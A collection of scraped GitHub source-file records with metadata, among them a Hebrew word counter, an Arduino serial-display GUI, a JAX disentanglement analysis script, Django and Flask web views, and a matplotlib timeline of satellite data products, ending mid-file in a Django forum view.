for char in symbols:\n text = text.replace(char, \"\")\n text = text.replace('\\n', \" \")\n return clean_stop_words(text)\n\n\ndef clean_stop_words(text):\n \"\"\"\n This method clean the text from stop words\n :param text: A give text\n :return: This text without the stop words\n \"\"\"\n stop_words = [\"\", '', \"לא\", \"את\", \"של\", \"עם\", \"הוא\", \"היא\", \"זה\", \"אבל\", \"אני\", \"יש\", \"כל\", \"רק\", \"בין\", \"מי\",\n \"הייתי\", \"איך\", \"עוד\", \"על\", \"ללא\", \"אלא\", \"גם\", \"או\", \"שלי\", \"מה\", \"היה\", \"הם\", \"אם\", \"אנחנו\", \"אחרי\"]\n words = text.split(\" \")\n clean_stop = list(filter(lambda current_word: not stop_words.__contains__(current_word), words))\n return clean_stop\n\n\ndef create_dictionary(cleaned_word_list, title):\n \"\"\"\n This method create dictionary of all the text word\n :param cleaned_word_list: List of the clean words of the text\n :param title: The title of this text\n \"\"\"\n word_count = Counter(cleaned_word_list)\n data_entry(word_count, title)\n", "repo_name": "dor6688/crawler_sports", "sub_path": "counter_word.py", "file_name": "counter_word.py", "file_ext": "py", "file_size_in_byte": 1684, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "bs4.BeautifulSoup", "line_number": 12, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 50, "usage_type": "call"}]} +{"seq_id": "18471019501", "text": "#!/usr/bin/env python2\n# Primitive GUI that is used to send data to Arduino.\n# GPLv2, 2013, Ilkka Jylha & Lauri Peltomaki\n\nimport gtk, serial, subprocess\n\nbaud = 115200\ndevtty = \"/dev/ttyUSB0\"\nser = serial.Serial(devtty, baud)\n\n\ndef uptime_event(widget):\n #ser.write(subprocess.check_output(\"bash uptimer.sh\", shell=True))\n ser.write(subprocess.check_output(\"perl uptimer.pl\", shell=True))\n\ndef mem_event(widget):\n ser.write(subprocess.check_output(\"bash mem.sh\", shell=True))\n\ndef cpu_event(widget):\n ser.write(subprocess.check_output(\"bash cpu.sh\", shell=True))\n\ndef unix_event(widget):\n ser.write(subprocess.check_output(\"bash unix.sh\", shell=True))\n\ndef oss_event(widget):\n ser.write(subprocess.check_output(\"bash ossvol_greenjack.sh\", shell=True))\n\ndef clear_event(widget):\n ser.write(\"\\0\")\n\n\ndef main():\n\n window = gtk.Window()\n window.connect(\"destroy\", gtk.main_quit)\n window.set_size_request(300, 200)\n window.set_title(\"Click send data\")\n window.set_position(gtk.WIN_POS_CENTER)\n\n b_up = gtk.Button(\"Uptime\")\n b_up.connect(\"clicked\", uptime_event)\n b_mem = gtk.Button(\"Mem\")\n b_mem.connect(\"clicked\", mem_event)\n b_cpu = gtk.Button(\"CPU\")\n b_cpu.connect(\"clicked\", cpu_event)\n b_unix = gtk.Button(\"Unix\")\n b_unix.connect(\"clicked\", unix_event)\n b_oss = gtk.Button(\"OSS\")\n b_oss.connect(\"clicked\", oss_event)\n b_clear = gtk.Button(\"Clear\")\n b_clear.connect(\"clicked\", clear_event)\n b_destroy = gtk.Button(\"Destroy\")\n b_destroy.connect(\"clicked\", gtk.main_quit)\n #b_destroy.set_size_request(60, 30)\n\n hboxhigh = gtk.HBox()\n hboxhigh.pack_start(b_clear, True, True, 1)\n hboxhigh.pack_start(b_destroy, True, True, 1)\n hboxlow = gtk.HBox()\n hboxlow.pack_start(b_up, True, True, 1)\n hboxlow.pack_start(b_mem, True, True, 1)\n hboxlow.pack_start(b_cpu, True, True, 1)\n hboxlow.pack_start(b_unix, True, True, 1)\n hboxlow.pack_start(b_oss, True, True, 1)\n vbox = gtk.VBox()\n vbox.pack_start(hboxhigh, True, True, 1)\n vbox.pack_start(hboxlow, True, True, 1)\n window.add(vbox)\n\n window.show_all()\n gtk.main()\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "lahemi/assigncodement", "sub_path": "Arduino/st7920_datadisplay/coordinator.py", "file_name": "coordinator.py", "file_ext": "py", "file_size_in_byte": 2173, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "serial.Serial", "line_number": 9, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 14, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 17, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 20, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 23, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 26, "usage_type": "call"}, {"api_name": "gtk.Window", "line_number": 34, "usage_type": "call"}, {"api_name": "gtk.main_quit", "line_number": 35, "usage_type": "attribute"}, {"api_name": "gtk.WIN_POS_CENTER", "line_number": 38, "usage_type": "attribute"}, {"api_name": "gtk.Button", "line_number": 40, "usage_type": "call"}, {"api_name": "gtk.Button", "line_number": 42, "usage_type": "call"}, {"api_name": "gtk.Button", "line_number": 44, "usage_type": "call"}, {"api_name": "gtk.Button", "line_number": 46, "usage_type": "call"}, {"api_name": "gtk.Button", "line_number": 48, "usage_type": "call"}, {"api_name": "gtk.Button", "line_number": 50, "usage_type": "call"}, {"api_name": "gtk.Button", "line_number": 52, "usage_type": "call"}, {"api_name": "gtk.main_quit", "line_number": 53, "usage_type": "attribute"}, {"api_name": "gtk.HBox", "line_number": 56, "usage_type": "call"}, {"api_name": "gtk.HBox", "line_number": 59, "usage_type": "call"}, {"api_name": "gtk.VBox", "line_number": 65, "usage_type": "call"}, {"api_name": "gtk.main", "line_number": 71, "usage_type": "call"}]} +{"seq_id": "25029215386", "text": "import numpy as np\nimport os\nimport h5py\nimport annoy\nimport wandb\nimport haiku as hk\nimport jax\nimport jax.numpy as jnp\n\nfrom jax_meta.utils import io\n\nfrom sparsemeta.conv import Conv4, ConvDisentanglement\nfrom sparsemeta.datasets.regression_3dshapes import Regression3DShapes\n\n\ndef load_3d_shapes():\n dataset = Regression3DShapes(\n root=os.getenv('SLURM_TMPDIR'),\n batch_size=1,\n download=True\n )\n\n # QKFIX: Avoid postprocessing the factors (normalization)\n h5_dataset = h5py.File(dataset.folder / dataset.filenames[0], 'r')\n dataset._factors = h5_dataset['labels'][:]\n\n return dataset\n\n\ndef make_encoder(config):\n # Adapted from sparsemeta/main_regression.py\n @hk.without_apply_rng\n @hk.transform_with_state\n def encoder(inputs, is_training):\n features = Conv4(num_filters=config['num_filters'], norm=config['conv_norm'])(inputs, is_training)\n if config['z_dim'] is not None:\n features = jax.nn.relu(hk.Linear(256)(features))\n if config['rep_norm'] == \"special_layer_norm\":\n features = hk.Linear(config['z_dim'] + 2)(features) # add two dummy dimensions\n elif config['rep_norm'] == \"utimate_norm\":\n features = hk.Linear(config['z_dim'] + 10)(features) # add 10 dummy dimensions\n else:\n features = hk.Linear(config['z_dim'])(features)\n\n if config['rep_norm'] == \"layer_norm\":\n features = hk.LayerNorm( # Normalize the features\n axis=1,\n create_scale=config['learn_rep_norm'],\n create_offset=config['learn_rep_norm']\n )(features)\n elif config['rep_norm'] == \"special_layer_norm\":\n features = hk.LayerNorm( # Normalize the features\n axis=1,\n create_scale=config['learn_rep_norm'],\n create_offset=config['learn_rep_norm']\n )(features)[:, :-2] # remove two dummy dimensions\n elif config['rep_norm'] == \"utimate_norm\":\n features = (features / jnp.linalg.norm(features, ord=2, axis=1, keepdims=True)) # project on 2D sphere\n features = features[:, :-10] # remove dummy dimensions.\n elif config['rep_norm'] == \"batch_norm\":\n features = hk.BatchNorm(\n decay_rate=0.9,\n create_scale=config['learn_rep_norm'],\n create_offset=config['learn_rep_norm']\n )(features, is_training=is_training)\n elif config['rep_norm'] is not None:\n raise NotImplementedError(f\"--rep_norm {config['rep_norm']} is not implemented.\")\n return features\n\n @hk.without_apply_rng\n @hk.transform_with_state\n def encoder_disentanglement(inputs, is_training):\n # when using special_layer_norm, should add two dummy variables...\n outdim = config['z_dim'] + 2 if config['rep_norm'] == \"special_layer_norm\" else config['z_dim']\n features = ConvDisentanglement(outdim)(inputs, is_training)\n if config['rep_norm'] == \"layer_norm\":\n features = hk.LayerNorm( # Normalize the features\n axis=1,\n create_scale=config['learn_rep_norm'],\n create_offset=config['learn_rep_norm']\n )(features)\n elif config['rep_norm'] == \"special_layer_norm\":\n features = hk.LayerNorm( # Normalize the features\n axis=1,\n create_scale=config['learn_rep_norm'],\n create_offset=config['learn_rep_norm']\n )(features)[:, :-2] # remove two dummy dimensions\n elif config['rep_norm'] == \"batch_norm\":\n features = hk.BatchNorm(\n decay_rate=0.9,\n create_scale=config['learn_rep_norm'],\n create_offset=config['learn_rep_norm']\n )(features, is_training=is_training)\n elif config['rep_norm'] is not None:\n raise NotImplementedError(f\"--rep_norm {config['rep_norm']} is not implemented.\")\n return features\n\n return encoder_disentanglement if config['encoder'] == 'encoder_disentanglement' else encoder\n\n\ndef main(args):\n # Get run from wandb\n api = wandb.Api()\n run = api.run(args.run_path)\n\n # Create the encoder\n encoder = make_encoder(run.config)\n\n # Download best model\n model_name = 'model.npz' if args.last_model else 'best_model.npz'\n run.file(model_name).download(root=os.getenv('SLURM_TMPDIR'), replace=True)\n with open(os.path.join(os.getenv('SLURM_TMPDIR'), model_name), 'rb') as f:\n best_model = io.load(f)\n params = best_model['params']\n state = best_model.get('state', {}) # QKFIX: If the state is empty\n\n # Load 3D-Shapes dataset\n dataset = load_3d_shapes()\n\n if args.factor not in dataset.factor_names + ['all']:\n raise ValueError(f'Unknown factor: {args.factor}')\n\n # Create a NN index for the ground-truth factors\n factor_nn_index = annoy.AnnoyIndex(len(dataset.factor_names), 'euclidean')\n for i, factor in enumerate(dataset._factors):\n factor_nn_index.add_item(i, factor)\n factor_nn_index.build(10)\n\n # Find the index of the anchor image\n anchor = np.asarray(args.anchor)\n anchor_index, = factor_nn_index.get_nns_by_vector(anchor, 1)\n anchor = dataset._factors[anchor_index]\n\n factor_names = dataset.factor_names if args.factor == 'all' else [args.factor]\n\n for factor_name in factor_names:\n # Factor of variation\n factor_index = dataset.factor_names.index(factor_name)\n factor_values = np.unique(dataset._factors[:, factor_index])\n anchor_index, = np.where(factor_values == anchor[factor_index])\n\n # Create all the factor, by varying the factor of variation\n num_variations = dataset.num_values_per_factor[factor_name]\n if len(factor_values) != num_variations:\n raise ValueError(f'Different number of variations: '\n f'{len(factor_values)} vs {num_variations}')\n factors = np.tile(anchor.copy(), (num_variations, 1))\n factors[:, factor_index] = factor_values\n\n # Find the indices of the images\n image_indices = []\n for factor in factors:\n image_index, = factor_nn_index.get_nns_by_vector(factor, 1)\n image_indices.append(image_index)\n image_indices = np.asarray(image_indices)\n\n # Get the latent representation\n raw_images = dataset._data[image_indices]\n images = dataset.transform(raw_images)\n representations, _ = encoder.apply(params, state, images, False)\n \n # Save the results\n with open(args.output_folder / f'latent_{factor_name}_{run.id}.npz', 'wb') as f:\n np.savez(f, factor=factor_name, factors=factors,\n anchor_index=anchor_index, images=raw_images,\n representations=representations, run_id=run.id)\n\n\nif __name__ == '__main__':\n from argparse import ArgumentParser\n from pathlib import Path\n\n parser = ArgumentParser(description='Latent traversal in 3D-Shapes')\n parser.add_argument('run_path', type=str, help='Path to the wandb run')\n parser.add_argument('--anchor', type=float, nargs='+', default=[0, 0, 0, 0, 0, 0],\n help='Anchor factors')\n parser.add_argument('--factor', type=str, default='orientation',\n choices=['floor_hue', 'wall_hue', 'object_hue', 'scale', 'shape', 'orientation', 'all'],\n help='Factor of variation')\n parser.add_argument('--last_model', action='store_true',\n help='Use the last model (uses \"best_model\" by default).')\n parser.add_argument('--output_folder', type=Path, default='.',\n help='Output folder for the results.')\n\n args = parser.parse_args()\n\n main(args)\n", "repo_name": "tristandeleu/synergies-disentanglement-sparsity", "sub_path": "figures/latent_traversal/get_representations.py", "file_name": "get_representations.py", "file_ext": "py", "file_size_in_byte": 7754, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "sparsemeta.datasets.regression_3dshapes.Regression3DShapes", "line_number": 17, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 18, "usage_type": "call"}, {"api_name": "h5py.File", "line_number": 24, "usage_type": "call"}, {"api_name": "sparsemeta.conv.Conv4", "line_number": 35, "usage_type": "call"}, {"api_name": "jax.nn.relu", "line_number": 37, "usage_type": "call"}, {"api_name": "jax.nn", "line_number": 37, "usage_type": "attribute"}, {"api_name": "haiku.Linear", "line_number": 37, "usage_type": "call"}, {"api_name": "haiku.Linear", "line_number": 39, "usage_type": "call"}, {"api_name": "haiku.Linear", "line_number": 41, "usage_type": "call"}, {"api_name": "haiku.Linear", "line_number": 43, "usage_type": "call"}, {"api_name": "haiku.LayerNorm", "line_number": 46, "usage_type": "call"}, {"api_name": "haiku.LayerNorm", "line_number": 52, "usage_type": "call"}, {"api_name": "jax.numpy.linalg.norm", "line_number": 58, "usage_type": "call"}, {"api_name": "jax.numpy.linalg", "line_number": 58, "usage_type": "attribute"}, {"api_name": "jax.numpy", "line_number": 58, "usage_type": "name"}, {"api_name": "haiku.BatchNorm", "line_number": 61, "usage_type": "call"}, {"api_name": "haiku.without_apply_rng", "line_number": 32, "usage_type": "attribute"}, {"api_name": "haiku.transform_with_state", "line_number": 33, "usage_type": "attribute"}, {"api_name": "sparsemeta.conv.ConvDisentanglement", "line_number": 75, "usage_type": "call"}, {"api_name": "haiku.LayerNorm", "line_number": 77, "usage_type": "call"}, {"api_name": "haiku.LayerNorm", "line_number": 83, "usage_type": "call"}, {"api_name": "haiku.BatchNorm", "line_number": 89, "usage_type": "call"}, {"api_name": "haiku.without_apply_rng", "line_number": 70, "usage_type": "attribute"}, {"api_name": "haiku.transform_with_state", "line_number": 71, "usage_type": "attribute"}, {"api_name": "wandb.Api", "line_number": 103, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 111, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 112, "usage_type": "call"}, {"api_name": "os.path", "line_number": 112, "usage_type": "attribute"}, {"api_name": "os.getenv", "line_number": 112, "usage_type": "call"}, {"api_name": "jax_meta.utils.io.load", "line_number": 113, "usage_type": "call"}, {"api_name": "jax_meta.utils.io", "line_number": 113, "usage_type": "name"}, {"api_name": "annoy.AnnoyIndex", "line_number": 124, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 139, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 140, "usage_type": "call"}, {"api_name": "numpy.tile", "line_number": 147, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 155, "usage_type": "call"}, {"api_name": "numpy.savez", "line_number": 164, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 173, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 182, "usage_type": "name"}]} +{"seq_id": "14592273725", "text": "from django.urls import path\nfrom . import views\n\napp_name = 'auth'\n\nurlpatterns = [ \n path('login', views.LoginUserView.as_view(), name = \"login\"),\n path('logout', views.LogoutUserView.as_view(), name = \"logout\"),\n path('registration', views.register_page, name = \"registration\"),\n path('user-page', views.UserPage.as_view(), name = \"user-page\"),\n path('settings', views.UserSettings.as_view(), name = \"settings\"),\n path('settings-update', views.UserSettingsUpdate.as_view(), name = \"settings-update\"),\n path('carts-view/', views.CartsList.as_view(), name = \"carts-view\"),\n path('cart_view//', views.CartView.as_view(), name = \"cart-view\"),\n path('cart_view_update//', views.UpdateCartView.as_view(), name = \"cart-view-update\"),\n\n]", "repo_name": "alexbolotin/Alexandr_Bolotin_Django", "sub_path": "django_test/src/auth_user/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 775, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 14, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 15, "usage_type": "call"}]} +{"seq_id": "73952915207", "text": "#plot a broken bar timeline of EFW data products\n# Convention for import of the pyplot interface\nimport matplotlib.pyplot as plt\nimport datetime as dt\nfrom datetime import date, timedelta\n\n\n\n#Define start/stop times for EFW data products\n\n\n#RBSPa\n\n#spinfit V12\ndstarta = [date(2012,9,30)]\ndstopa = [date(2015,10,1)]\nlabela = [\"sfv12\"]\ncolora = [\"blue\"]\n\n\n#spinfit V34\ndstarta.append(date(2015,10,1))\ndstopa.append(date(2019,9,1))\nlabela.append(\"sfv34\")\ncolora.append(\"blue\")\n\n#spectral data\ndstarta.append(date(2012,9,1))\ndstopa.append(date(2019,9,1))\nlabela.append(\"spec V1,V2,E12,E34,SCMu,v,w\")\ncolora.append(\"purple\")\n\n#Xspec mode 1\ndstarta.append(date(2012,9,1))\ndstopa.append(date(2016,8,1))\nlabela.append(\"Xspec E12,SCMu,v,w\")\ncolora.append(\"pink\")\n\n#Xspec mode 2\ndstarta.append(date(2016,8,1))\ndstopa.append(date(2019,9,1))\nlabela.append(\"Xspec E34,SCMu,v,w\")\ncolora.append(\"pink\")\n\n\n\n#FBK13 from E12\ndstarta.append(date(2012,9,1))\ndstopa.append(date(2013,3,16))\nlabela.append(\"FBK13 from E12\")\ncolora.append(\"green\")\n\n#FBK7 from E12 and SCMw\ndstarta.append(date(2013,3,17))\ndstopa.append(date(2018,4,13))\nlabela.append(\"FBK7 from E12 and SCMw\")\ncolora.append(\"green\")\n\n#FBK13 from E34 and SCMw\ndstarta.append(date(2018,4,14))\ndstopa.append(date(2019,9,1))\nlabela.append(\"FBK13 from E34 and SCMw\")\ncolora.append(\"green\")\n\n\n\n\n# Now convert them to matplotlib's internal format...\nedate_a, bdate_a = [mdates.date2num(item) for item in (dstopa, dstarta)]\n\n\n#Plot RBSPa timeline\nfig, ax = plt.subplots()\n\n# Plot the data\nax.barh(labela, edate_a - bdate_a, left=bdate_a, height=0.8, align='center', color=colora)\nax.axis('tight')\nplt.title('From EFW_dataproduct_timeline.py')\n# We need to tell matplotlib that these are dates...\nax.xaxis_date()\nplt.show()\n\n\n\n\n\n\n\n\n\n\n\n", "repo_name": "awbrenem/research_projects", "sub_path": "RBSP_phaseF/EFW_dataproduct_timeline.py", "file_name": "EFW_dataproduct_timeline.py", "file_ext": "py", "file_size_in_byte": 1770, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "datetime.date", "line_number": 15, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 16, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 22, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 23, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 28, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 29, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 34, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 35, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 40, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 41, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 48, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 49, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 54, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 55, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 60, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 78, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 81, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 81, "usage_type": "name"}]} +{"seq_id": "30993816856", "text": "from flask import render_template, url_for, request, redirect, Blueprint, flash\nimport requests\nimport sys #print(..., file=sys.stderr)\n\nBASE = \"http://127.0.0.1:5000/\"\nLOCATIONURL = BASE + \"user\"\nLOCATIONLISTURL = BASE + \"userlist\"\nGEONAMEURL = BASE + 'geoname'\nviews = Blueprint('views', __name__)\n\n@views.route('/', methods=['POST', 'GET'])\ndef index():\n if request.method == 'POST':\n url = LOCATIONURL\n # first_name = request.form.get('first-name') #form in html input has name of content\n # last_name = request.form.get('last-name')\n email = request.form.get('email')\n city = request.form.get('city')\n country = request.form.get('country')\n geo_name_response = _get_location_info(city)\n lat = geo_name_response['lat']\n lng = geo_name_response['lng']\n if len(city) <= 0:\n flash(\"City can't be empty\" , \"warning\")\n return redirect(url_for('views.index'))\n body = {'email': email,\n 'city': city,\n 'country': country,\n 'lng': lng,\n 'lat': lat}\n try:\n response = requests.post(url, body)\n new_user = response.json()\n flash(\"Location added!\" , \"success\")\n return redirect(url_for('views.index'))\n except:\n return \"There was an issue adding your location\"\n\n else:\n response = requests.get(LOCATIONLISTURL)\n users = response.json()\n return render_template(\"index.html\", users = users)\n\ndef _get_location_info(city):\n url = GEONAMEURL + f'/{city}'\n response = requests.get(url)\n return response.json()\n", "repo_name": "Jtang-1/WhereIsDim", "sub_path": "app/routes/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1662, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "flask.Blueprint", "line_number": 9, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 13, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 13, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 17, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 17, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 17, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 18, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 18, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 18, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 19, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 19, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 19, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 24, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 25, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 25, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 32, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 34, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 35, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 35, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 40, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 42, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 46, "usage_type": "call"}]} +{"seq_id": "8980858217", "text": "from django.core.urlresolvers import reverse\nfrom django.http import HttpResponseRedirect, Http404, HttpResponse\nfrom django.shortcuts import get_object_or_404, render_to_response, render\nfrom django.template import RequestContext\nfrom forums.models import User\n\nfrom django.contrib import messages\n\nfrom django.contrib.auth.decorators import login_required\n\nfrom forums.forms import ThreadForm, ReplyForm\nfrom forums.models import (\n Forum,\n ForumCategory,\n ForumReply,\n ForumThread,\n ThreadSubscription,\n UserPostCount,\n\n)\n\ndef forums(request):\n\n categories = ForumCategory.objects.filter(parent__isnull=True)\n categories = categories.order_by(\"id\")\n\n all_forums={}\n\n for category in categories:\n all_forums[category]=category.forums.order_by('id')\n\n all_forums=all_forums.items()\n most_active_forums = Forum.objects.order_by(\"-post_count\")[:5]\n most_viewed_forums = Forum.objects.order_by(\"-view_count\")[:5]\n most_active_members = UserPostCount.objects.order_by(\"-count\")[:5]\n\n latest_posts = ForumReply.objects.order_by(\"-created\")[:10]\n latest_threads = ForumThread.objects.order_by(\"-last_modified\")\n most_active_threads = ForumThread.objects.order_by(\"-reply_count\")\n most_viewed_threads = ForumThread.objects.order_by(\"-view_count\")\n\n return render(request,\"forums/forums.html\", {\n \"categories\": categories,\n \"most_active_forums\": most_active_forums,\n \"most_viewed_forums\": most_viewed_forums,\n \"most_active_members\": most_active_members,\n \"latest_posts\": latest_posts,\n \"latest_threads\": latest_threads,\n \"most_active_threads\": most_active_threads,\n \"most_viewed_threads\": most_viewed_threads,\n \"all_forums\": all_forums\n })\n\n\ndef forum_category(request, category_id):\n\n category = get_object_or_404(ForumCategory, id=category_id)\n forums = category.forums.order_by(\"title\")\n\n return render(request, \"forums/category.html\", {\n \"category\": category,\n \"forums\": forums,\n },)\n\n\ndef forum(request, forum_id):\n\n forum = get_object_or_404(Forum, id=forum_id)\n threads = forum.threads.order_by(\"-sticky\", \"-last_modified\")\n\n forum.update_post_count()\n\n can_create_thread = all([\n request.user.has_perm(\"forums.add_forumthread\", obj=forum),\n not forum.closed,\n ])\n\n thread_replies={}\n for thread in threads:\n thread_replies[thread]=thread.replies.all().count()\n\n thread_replies=thread_replies.items()\n return render(request, \"forums/forum.html\", {\n \"forum\": forum,\n \"thread_replies\": thread_replies,\n \"can_create_thread\": can_create_thread,\n })\n\n\ndef forum_thread(request, thread_id):\n member=request.user\n\n\n qs = ForumThread.objects.select_related(\"forum\")\n thread = get_object_or_404(qs, id=thread_id)\n\n thread.update_reply_count()\n\n can_create_reply = all([\n request.user.has_perm(\"forums.add_forumreply\", obj=thread),\n not thread.closed,\n not thread.forum.closed,\n ])\n\n if can_create_reply:\n if request.method == \"POST\":\n reply_form = ReplyForm(request.POST)\n\n if reply_form.is_valid():\n reply = reply_form.save(commit=False)\n reply.thread = thread\n reply.author = request.user\n reply.save()\n\n thread.new_reply(reply)\n # subscribe the poster to the thread if requested (default value is True)\n if reply_form.cleaned_data[\"subscribe\"]:\n thread.subscribe(reply.author, \"email\")\n\n # all users are automatically subscribed to onsite\n thread.subscribe(reply.author, \"onsite\")\n\n return HttpResponseRedirect(reverse(\"forums:forums_thread\", args=[thread.id]))\n else:\n reply_form = ReplyForm()\n else:\n reply_form = None\n\n order_type = request.GET.get(\"order_type\", \"asc\")\n posts = ForumThread.objects.posts(thread, reverse=(order_type == \"desc\"))\n thread.inc_views()\n\n\n return render(request, \"forums/thread.html\", {\n \"member\": member,\n \"thread\": thread,\n \"posts\": posts,\n \"order_type\": order_type,\n \"subscribed\": thread.subscribed(request.user, \"email\"),\n \"reply_form\": reply_form,\n \"can_create_reply\": can_create_reply,\n })\n\n\n@login_required\ndef post_create(request, forum_id):\n\n member = request.user\n forum = get_object_or_404(Forum, id=forum_id)\n\n if forum.closed:\n\n messages.error(request, \"This forum is closed.\")\n return HttpResponseRedirect(reverse(\"forums:forums_forum\", args=[forum.id]))\n\n can_create_thread = request.user.has_perm(\"forums.add_forumthread\", obj=forum)\n\n if not can_create_thread:\n\n messages.error(request, \"You do not have permission to create a thread.\")\n return HttpResponseRedirect(reverse(\"forums:forums_forum\", args=[forum.id]))\n\n if request.method == \"POST\":\n form = ThreadForm(request.POST)\n if form.is_valid():\n thread = form.save(commit=False)\n thread.forum = forum\n thread.author = request.user\n thread.save()\n\n # subscribe the poster to the thread if requested (default value is True)\n if form.cleaned_data[\"subscribe\"]:\n thread.subscribe(thread.author, \"email\")\n\n # all users are automatically subscribed to onsite\n thread.subscribe(thread.author, \"onsite\")\n\n return HttpResponseRedirect(reverse(\"forums:forums_thread\", args=[thread.id]))\n else:\n form = ThreadForm()\n\n return render(request, \"forums/post_create.html\", {\n \"form\": form,\n \"member\": member,\n \"forum\": forum\n })\n\n\n@login_required\ndef reply_create(request, thread_id):\n\n member = request.user\n thread = get_object_or_404(ForumThread, id=thread_id)\n\n if thread.closed:\n messages.error(request, \"This thread is closed.\")\n return HttpResponseRedirect(reverse(\"forums:forums_thread\", args=[thread.id]))\n\n can_create_reply = request.user.has_perm(\"forums.add_forumreply\", obj=thread)\n\n if not can_create_reply:\n messages.error(request, \"You do not have permission to reply to this thread.\")\n return HttpResponseRedirect(reverse(\"forums:forums_thread\", args=[thread.id]))\n\n if request.method == \"POST\":\n form = ReplyForm(request.POST)\n\n if form.is_valid():\n reply = form.save(commit=False)\n reply.thread = thread\n reply.author = request.user\n reply.save()\n # subscribe the poster to the thread if requested (default value is True)\n if form.cleaned_data[\"subscribe\"]:\n thread.subscribe(reply.author, \"email\")\n\n # all users are automatically subscribed to onsite\n thread.subscribe(reply.author, \"onsite\")\n\n return HttpResponseRedirect(reverse(\"forums:forums_thread\", args=[thread_id]))\n else:\n quote = request.GET.get(\"quote\") # thread id to quote\n initial = {}\n\n if quote:\n quote_reply = ForumReply.objects.get(id=int(quote))\n initial[\"content\"] = \"\\\"%s\\\"\" % quote_reply.content\n\n form = ReplyForm(initial=initial)\n\n first_reply = not ForumReply.objects.filter(thread=thread, author=request.user).exists()\n\n return render(request,\"forums/reply_create.html\", {\n \"form\": form,\n \"member\": member,\n \"thread\": thread,\n \"subscribed\": thread.subscribed(request.user, \"email\"),\n \"first_reply\": first_reply,\n })\n\n\ndef ajax_reply(request):\n\n if request.method==\"POST\":\n\n thread_id=int(request.POST['thread_id'])\n content=request.POST['content']\n subscription=request.POST['subscribe']\n\n thread=get_object_or_404(ForumThread, pk=thread_id)\n\n if thread:\n if content=='':\n return HttpResponse(\"no_content\")\n\n if thread.closed:\n return HttpResponse(\"closed\")\n\n 